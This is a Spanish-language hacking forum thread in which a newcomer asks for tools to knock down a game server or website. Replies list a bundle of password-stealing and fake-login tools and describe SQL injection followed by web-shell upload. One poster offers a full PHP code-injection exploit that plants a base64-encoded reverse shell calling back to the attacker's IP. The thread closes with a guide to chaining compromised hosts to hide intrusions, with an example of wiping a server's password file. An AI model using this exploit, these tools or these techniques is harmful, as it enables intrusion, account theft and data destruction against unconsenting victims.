Tema: Best Hacking Tools 85 en 1 AIO

hola!
soy nuevo..

emm
como no se mucho..
les pido a usetedes.!
si alguien tiene algun hack o programa para tirar una web o un servidor de mu online.. melo podria pasar?

saludos!

oie vasico pero simple mandame tu msn y te paso algo pa echarte un servidor mu o cualquier ro que tengas

Best Hacking Tools 85 en 1 AIO
page 1:

msn chat monitor and sniffer
msn password retriever
msn hacker duc
head fuck hotmail hack
hotmail hacker xe edition
hotmail hack
hotmail hacker
msn passwords
msn flooder
msn sniffer
msn spy lite
hotmail hacker gold
hotmail hacker final
give me ur pass
hotmail brute forcer
msn password finder
msn password grabber
hack msn password
hack hotmail evolution
magic password sender
msn locker
hotmail killer
hot freeze
messenpass
hotmail hack !
ice cold reload
hotmail killer 2
nuke msn

page 2:

yahoo messenger login screen
msn messenger 7 login screen
msn messenger 5 login screen
msn messenger 4.6 login screen
hotmail login screen
fake web pages 2
fake eeb pages 1
aol killer
fake login hotmail
b-s spy
saria fake logins

page 3:

yahoo password retrieval
yacam
yahoo cracker
yahoo booster
yahoo hack!
yahoo password stealer
s-h yahoo password sender

page 4:

network password recovery
net bios name scanner
ftp password hacker
cable modem sniffer
port listening xp
blue port scanner
www 2 ip
xp killer
sniff password
port scanner
fast resolver
domain scan
whois domain
netres view
phpbb defacer
angry ip scanner
ftp brute forcer

page 5:

hook tool box
smart hack uploader
remote anything
post sage
phpbb attacker

page 6:

skinner
msn bomber man
ultimate nick popupz
msn 7 universal patcher
emoticons creator
msn picture crawler
anti status bomb
msn detector
multi msn loader
kitle
protect lithium
tray it!
msn block checker
msn auto responder
msn virus cleaner
msn dondurucu


oie mandame ese pliz
que ando bn desesperado me cagaron con mi pass justo en la mañana por no activar el spiware y el deted ip remote destroi plis manda manda link de descarga

BY:<:KaRl12:>

Se agradece compadre

manes necesito q alguien me diga o me ayude a hackear un server mu si alguien me puede ayudar q me mande un mensaje

hackear un server o hackear una web...???si kieres hackear a un server tienes ke dadr mas detalles un ejm: si es una web inofensiva... miras si tiene un sql injection y depues subes una shell r57,N3t Emperator.. c100,Ajax..Sql BACKUP,c99(la mas comun) y de ahi le miras si tienes los permisos chmod 777 osea lectura escritura, y de ejecucion...!! si tienes todo eso tienes acceos total al servidor a cada parte del HD y haces lo ke te da la gana..!! jajaaj SALUDOS..!!

Iniciado por g3n1ux

hackear un server o hackear una web...???si kieres hackear a un server tienes ke dadr mas detalles un ejm: si es una web inofensiva... miras si tiene un sql injection y depues subes una shell r57,N3t Emperator.. c100,Ajax..Sql BACKUP,c99(la mas comun) y de ahi le miras si tienes los permisos chmod 777 osea lectura escritura, y de ejecucion...!! si tienes todo eso tienes acceos total al servidor a cada parte del HD y haces lo ke te da la gana..!! jajaaj SALUDOS..!!

de seguro que no te entendió nada de la respuesta que le distes , a lo menos yo te entendí todo. pero bueno. nunca les recomendé a los users que " antes de postear algo , tenían que buscar o preguntar a GOOGLE ",
si quieren defacear webs , pues teneis que saber muchos lenguajes de programación y abrir bugs y aprovechar de ellas, usar SSS o nmap, ETC , hay muchos scaners y los lenguajes ? xd , html, php , xhtml, aspx, etc,.. xd !

usar las famosas "exploits " para saber el comportamiento de él , saber el lenduaje " perl , php, html " (lo básico).
auque mi primer exploit codeado por mí fue hecho en 3 días xd .. si desean utilizar aki lo tienen :

Remote PHP Code Injection Exploit

Código:

<?php

/*
	-----------------------------------------------------------------
        1.8.5 (whoisonline.php) Remote PHP Code Injection Exploit
	-----------------------------------------------------------------
	
	author...: OzdoX
	mail.....: ozdox[at]live[dot]com
	
	link.....: http://www.ozdox-securityx.com/

	This PoC was written for educational purpose. Use it at your own risk.
	Author will be not responsible for any damage.

	[-] vulnerable code in /main/inc/lib/tablesort.lib.php

	86.		function sort_table($data, $column = 0, $direction = SORT_ASC, $type = SORT_REGULAR)
	87.		{
	88.			if(!is_array($data) or count($data)==0){return array();}
	89.			switch ($type)
	90.			{
	91.				case SORT_REGULAR :
	92.					if (TableSort::is_image_column($data, $column))
	93.					{
	94.						return TableSort::sort_table($data, $column, $direction, SORT_IMAGE);
	95.					}
	96.					elseif (TableSort::is_date_column($data, $column))
	97.					{
	98.						return TableSort::sort_table($data, $column, $direction, SORT_DATE);
	99.					}
	100.					elseif (TableSort::is_numeric_column($data, $column))
	101.					{
	102.						return TableSort::sort_table($data, $column, $direction, SORT_NUMERIC);
	103.					}
	104.					return TableSort::sort_table($data, $column, $direction, SORT_STRING);
	105.					break;
	106.				case SORT_NUMERIC :
	107.					$compare_function = 'strip_tags($el1) > strip_tags($el2)';
	108.					break;
	109.				case SORT_STRING :
	110.					$compare_function = 'strnatcmp(TableSort::orderingstring(strip_tags($el1)), [...]
	111.					break;
	112.				case SORT_IMAGE :
	113.					$compare_function = 'strnatcmp(TableSort::orderingstring(strip_tags($el1,"<img>")), [...]
	114.					break;
	115.				case SORT_DATE :
	116.					$compare_function = 'strtotime(strip_tags($el1)) > strtotime(strip_tags($el2))';
	117.			}
	118.			$function_body = '$el1 = $a['.$column.']; $el2 = $b['.$column.']; return ('.$direction.' == SORT_ASC [...]
	119.			// Sort the content
	120.			usort($data, create_function('$a,$b', $function_body));
	121.			return $data;
	122.		}

	Input parameter passed to whoisonline.php isn't properly sanitised before being used in a call to
	"create_function()" at line 120. This can be exploited to inject and execute arbitrary PHP code.
	[See http://www.securityfocus.com/bid/31398 also PHP 5.2.9 seems to be still vulnerable to this bug!]
	Others attack vectors might be possible with a valid registered account.

	[-] Disclosure timeline:
		
	[10/04/2009] - Bug discovered
	[13/04/2009] - Vendor contacted but no response
	[16/04/2009] - Vendor contacted again still no response
	[21/04/2009] - Public disclosure
	[22/04/2009] - Fix released: 
http://www.d222s4455.com/wiki/index.php/Security#Do222_1.8

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
	if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
	  die("\nsocket_create(): " . socket_strerror($s) . "\n");

	if (socket_connect($s, $host, 80) == false)
	  die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");

	socket_write($s, $packet, strlen($packet));
	while ($m = socket_read($s, 2048)) $response .= $m;

	socket_close($s);
	return $response;
}

print "\n+--------------------------------------------------------------------+";
print "\n| Dos L<= 1.8.5 (reverse shell) Code Injection Exploit by OzdoX |";
print "\n+--------------------------------------------------------------------+\n\n";

if ($argc < 4)
{
	print "\nUsage......: php $argv[0] <host> <path> <local IP> [port]\n";
	print "\nExample....: php $argv[0] localhost /dokeos/ 192.168.0.2";
	print "\nExample....: php $argv[0] localhost / 192.168.0.2 12345\n";
	die();
}

$host = $argv[1];
$path = $argv[2];
$ip   = $argv[3];
$port = isset($argv[4]) ? (int)$argv[4] : 4444;

// reverse shell based on http://pentestmonkey.net/tools/php-reverse-shell/
$code =
"c2V0X3RpbWVfbGltaXQoMCk7CmluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCA1KTsKC" .
"iRpcCA9ICRfU0VSVkVSW0hUVFBfSVBdOwokcG9ydCA9ICRfU0VSVkVSW0hUVFBfUE9SVF07CiRjaH" .
"Vua19zaXplID0gMjA0ODsKCmlmICghKCRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQpKSkgZGl" .
"lKCdbZXJyXUNvbm5lY3Rpb24gdG8geyRpcH06eyRwb3J0fSByZWZ1c2VkJyk7CiRkZXNjcmlwdG9y" .
"c3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoJ3BpcGUnLCAncicpLCAxID0+IGFycmF5KCdwaXBlJywgJ" .
"3cnKSwgMiA9PiBhcnJheSgncGlwZScsICd3JykpOwppZiAoIWlzX3Jlc291cmNlKCgkcHJvY2Vzcy" .
"A9IHByb2Nfb3BlbignL2Jpbi9zaCAtaScsICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKSkpKSBkaWU" .
"oJ1tlcnJdQ2FuXCd0IHNwYXduIHNoZWxsJyk7CgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1sw" .
"XSwgMCk7CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzFdLCAwKTsKc3RyZWFtX3NldF9ibG9ja" .
"2luZygkcGlwZXNbMl0sIDApOwpzdHJlYW1fc2V0X2Jsb2NraW5nKCRzb2NrLCAwKTsKCndoaWxlIC" .
"ghZmVvZigkc29jaykgJiYgIWZlb2YoJHBpcGVzWzFdKSkgewoJJHJlYWRfYSA9IGFycmF5KCRzb2N" .
"rLCAkcGlwZXNbMV0sICRwaXBlc1syXSk7CgkkbnVtX2NoYW5nZWRfc29ja2V0cyA9IHN0cmVhbV9z" .
"ZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsKCglpZiAoaW5fYXJyYXkoJ" .
"HNvY2ssICRyZWFkX2EpKSB7CgkJJGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTsKCQ" .
"lmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpOwoJfQoJaWYgKGluX2FycmF5KCRwaXBlc1sxXSwgJHJ" .
"lYWRfYSkpIHsKCQkkaW5wdXQgPSBmcmVhZCgkcGlwZXNbMV0sICRjaHVua19zaXplKTsKCQlmd3Jp" .
"dGUoJHNvY2ssICRpbnB1dCk7Cgl9CglpZiAoaW5fYXJyYXkoJHBpcGVzWzJdLCAkcmVhZF9hKSkge" .
"woJCSRpbnB1dCA9IGZyZWFkKCRwaXBlc1syXSwgJGNodW5rX3NpemUpOwoJCWZ3cml0ZSgkc29jay" .
"wgJGlucHV0KTsKCX0KfQoKZmNsb3NlKCRzb2NrKTsKZmNsb3NlKCRwaXBlc1swXSk7CmZjbG9zZSg" .
"kcGlwZXNbMV0pOwpmY2xvc2UoJHBpcGVzWzJdKTsKcHJvY19jbG9zZSgkcHJvY2Vzcyk7CmRpZTsK";

$packet  = "GET {$path}whoisonline.php?tablename_column=0];}eval(base64_decode(\$_SERVER[HTTP_CODE]));%23 HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Code: {$code}\r\n";
$packet .= "IP: {$ip}\r\n";
$packet .= "Port: {$port}\r\n";
$packet .= "Connection: close\r\n\r\n";

$response = http_send($host, $packet);

if (preg_match("/\[err\](.*)/", $response, $match)) die("[-] Exploit failed ({$match[1]})\n");
if (preg_match("/<\/html>/", $response)) die("[-] Exploit failed (No users online)\n");

?>

el exploit es para "explotar " webs php inyección , aunque no lo uso ya es un poco antiguito.
Bueno eso es todo salud0s

OzdoX

muy bueno..!! jejeje bueno eso es verdad la mayoria de la gente piensa ke cuando le hacen una sql injection a una web..pueden haber miles..!! no solamante a paginas programadas en php.. si no tambien en asp.. y en otras mas.! pero eso si es verdad tienes ke tener cuiado siempre utiliza un proxy anonimo..!! en tus viajes de kaos..!

P.D. cuando utilices proxys es normal ke tu velocidad de internet se te haga lenta..!jeeje

SALUDOS

Iniciado por g3n1ux

muy bueno..!! jejeje bueno eso es verdad la mayoria de la gente piensa ke cuando le hacen una sql injection a una web..pueden haber miles..!! no solamante a paginas programadas en php.. si no tambien en asp.. y en otras mas.! pero eso si es verdad tienes ke tener cuiado siempre utiliza un proxy anonimo..!! en tus viajes de kaos..!

P.D. cuando utilices proxys es normal ke tu velocidad de internet se te haga lenta..!jeeje

SALUDOS

jajaja. eso se llama borrar huellas después de que hallas hecho algo . xd , pues les recomiendo que "hackeen con condón" sabrán a que me refiero. xd !
para los que no saben pués aki les digo :

Hackear con condón:

Esto significa que cuando quieras hackear algun sistema usando Telnet y FTP pongas barreras entre tu y el sistema objetivo. En el siguiente diagrama se muestra un hacker sin proteccion:


----------- ------------
| hacker |-----------| objetivo |
----------- ------------
Ahora aqui se muestra un Hacker con algo de experiencia:
------------ -------------
| hacker |----------| condon#1|
------------ -------------
|
|
------------ -------------
| objetivo |---------| condon#2|
------------ -------------
Supongamos que tienes la cuenta R00T y se te ocurre borrar el /etc/passwd o
el /etc/shadow para sacar de circulacion a los usuarios de ese servidor por
un buen tiempo pero tienes miedo que puedan rastrearte. La solucion es
simple.
Cuando realizas una conexion en Internet no la haces directamente sino que
pasas por una serie de servidores que finalmente te hacen llegar a tu
objetivo, por lo que si realizas una conexion protegida como el ejemplo
imaginate cuantos sistemas tendrian que investigar para finalmente llegar a
ti. Como puedes darte cuenta, agarrarte es imposible.
Ahora te presento un ejemplo de conexion Protegida
Si quisieramos poner el codigo fuente del script ZAP.C en el sistema objetivo
(mexico.gob.mx) usando como proteccion los sistemas condon1 (itesm.mx.edu) y
condon2 (unam.mx.edu) tendriamos que sabernos por lo menos el login y
password de la cuenta GUEST y conocer un directorio donde podamos escribir en
cada uno de estos sistemas (generalmente /incoming /tmp /temp). Ahora,
supongamos que nuestro script esta en /usuarios/pepe/zap.c
[ Los caracteres pegados al inicio del texto son outputs del sistema ]
% ftp
ftp> open itesm.mx.edu
UNIX v.4.5
Login: guest
Password: xxxxxx
Bienvenido a ITESM.MX.EDU COMMAND?
ftp> put /usuarios/pepe/zap.c /incoming/zap.c
Transfer File Complete
% open unam.mx.edu
IRIS v.3.5 Please Login
Login: guest
Password: xxxx
Bienvenido al sistema de la Universidad de BLAH BLAH
ftp> put /incoming/zap.c /temp/zap.c
Archivos Recibidos!
ftp> open mexico.gov.mx
Este sistema es para uso del gobierno unicamente, cualquier persona que sea
sorprendida usando una cuenta que no le pertenezca sera perseguida.
Login: zedillo
Password: xxxxxxxx
Bienvenido!
ftp> put /temp/zap.c /tmp/zap.c
ftp> close
connection closed
ftp> close
connection closed
ftp> close
connection closed
ftp> quit
Espero hayan entendido el ejemplo anterior, no significa que lo hagan igual
pero es una idea que me ha servido de mucho. En algunos casos sustituye el
comando PUT por SEND. Ahora para compilar ese script con el mismo nivel de
proteccion necesitas realizar lo mismo pero con conexiones Telnet.
% telnet itesm.mx.edu
UNIX v.4.5
Login: guest
Password: xxxxxx
Bienvenido a ITESM.MX.EDU COMMAND?
% telnet unam.mx.edu
IRIS v.3.5 Please Login
Login: guest
Password: xxxx
Bienvenido al sistema de la Universidad de BLAH BLAH
% telnet mexico.gov.mx
Este sistema es para uso del gobierno unicamente, cualquier persona que sea
sorprendida usando una cuenta que no le pertenezca sera perseguida.
Login: zedillo
Password: xxxxxxxx
Bienvenido!
% cd /tmp
% cc -o zap zap.c
Compile Succesful!
% zap

pues el consepto lo saqué de zerocool , no entiendo hasta ahora ?
pues hackear con condón es como dice "cuidarse de que te pillen" pués teneis que hackear primero una víctima y usar su PC remotamente para hackear un Sistema más fuerte o cuidada. y así previenes que te busquen o que te pillen rápidamente.

y recuerden :

"el anonimato total no existe , hagan lo que hagan siempre dejarás huellas, si lo que hicistes es malo y te quieren pillar ? - pués no dudes que lo lograrán .. xd "

jajaja saludos